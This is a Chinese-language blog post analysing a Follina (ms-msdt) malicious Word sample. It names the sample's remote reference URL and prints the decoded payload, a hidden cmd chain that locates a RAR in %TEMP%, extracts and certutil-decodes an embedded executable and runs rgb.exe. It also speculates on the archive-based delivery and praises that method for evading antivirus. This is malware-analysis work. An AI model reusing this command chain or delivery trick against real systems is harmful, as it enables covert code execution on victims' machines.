Follina - Microsoft Office 远程代码执行分析学习

admin 2025年2月12日23:58:44评论6 views字数 2059阅读6分51秒阅读模式

0x00 前言

    开局一张图,昨天群友发的看起来非常厉害的一个Office 0day漏洞,即使不开启宏也可以通过ms-msdt去执行powershell代码,或是启动exe等等。

MSDT(Microsoft 诊断工具)参考:https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msdt

Follina - Microsoft Office 远程代码执行分析学习

0x01 分析

    昨天拿到就简单看了一下,7z首先解压缩样本,发现word_relsdocument.xml.rels下面有个奇怪的外部引用

Follina - Microsoft Office 远程代码执行分析学习

https://www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html

    在沙箱确认这个就是恶意的白俄罗斯网站,所以打开查看源码:

Follina - Microsoft Office 远程代码执行分析学习

    可以大致看到是执行了powershell,因为看到了Invoke-Expression,里面是一层base64,解开之后:

$cmd = "c:windowssystem32cmd.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:userspublic&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";

    具体主要执行的如下:

c:windowssystem32cmd.exe /c cd C:userspublic&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe

    大致做的事情就是:启动cmd隐藏窗口,结束msdt.exe;然后循环查找%TEMP%环境变量对应目录下面的名字为05-2022-0438.rar的压缩包文件。

    然后copy到C:userspublic目录,使用findstr在压缩包找到一串base64编码,保存到文件随后用certutil解码再使用expand解压缩

    最后执行解压出来的rgb.exe这个PE文件。

0x02 原始样本利用方式

    那么现在我们知道了,这个恶意文档是通过ms-msdt去执行上述命令的,在当时看到这里,群友们都想的是那么这个05-2022-0438.rar从哪里来呢?

他会从%TEMP%去找05-2022-0438.rar,也就是:

Follina - Microsoft Office 远程代码执行分析学习

windows的一个小特性,打开的大多数文件在%TEMP%下都会有一份;

比如打开一个压缩包,那么这个压缩包就会出现在%TEMP%下的某个随机命名的文件夹内

    那么什么时候在%TEMP%会出现05-2022-0438.rar呢?

    开始我们以为他是有什么黑科技,把05-2022-0438.rar这个作为OLE之类的放入doc,后来经过测试发现正常添加OLE,这个文件也不会出现在%TEMP%目录下。

    然后推测其实这个原始样本在实际上攻击的时候应该是打了一个压缩包才可以让%TEMP%出现这个压缩包,也就是:

压缩文件.rar -> 05-2022-0438.rar -> evil.doc

Follina - Microsoft Office 远程代码执行分析学习

    所以说其实这个样本是把PE打包后再base64编码,放入到有恶意doc文件的压缩包的某些位置(测试把base64放到压缩包的尾部是不会影响正常解压缩的),最后从压缩包打开恶意文档,然后去执行上述命令找到恶意PE执行。

0x03 总结

    那么这个就是我推测的原始样本的利用方式,因为网上现在都是去测试弹calc,但是考虑到实战利用的话,肯定不可能弹一个calc就解决问题的,所以说推测学习一下原始样本的利用。

    可能有些人会说,我用powershellcertutil等等等等去直接上线不好吗,但是考虑到通用性、免杀性,个人认为原始样本的利用方式还是更好些,还是比较巧妙的利用了windows打开压缩包会在%TEMP%下生成对应的文件,接着使用漏洞的关键点ms-msdt去执行上述的寻找最终PE的过程。

    那么最后要注意的也有这个漏洞本身的价值以及通用性,我测试只成功了一次,所以没办法附上弹calc的装逼图了。

原文始发于微信公众号(黑客在思考):Follina - Microsoft Office 远程代码执行分析学习

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月12日23:58:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Follina - Microsoft Office 远程代码执行分析学习https://cn-sec.com/archives/1071083.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息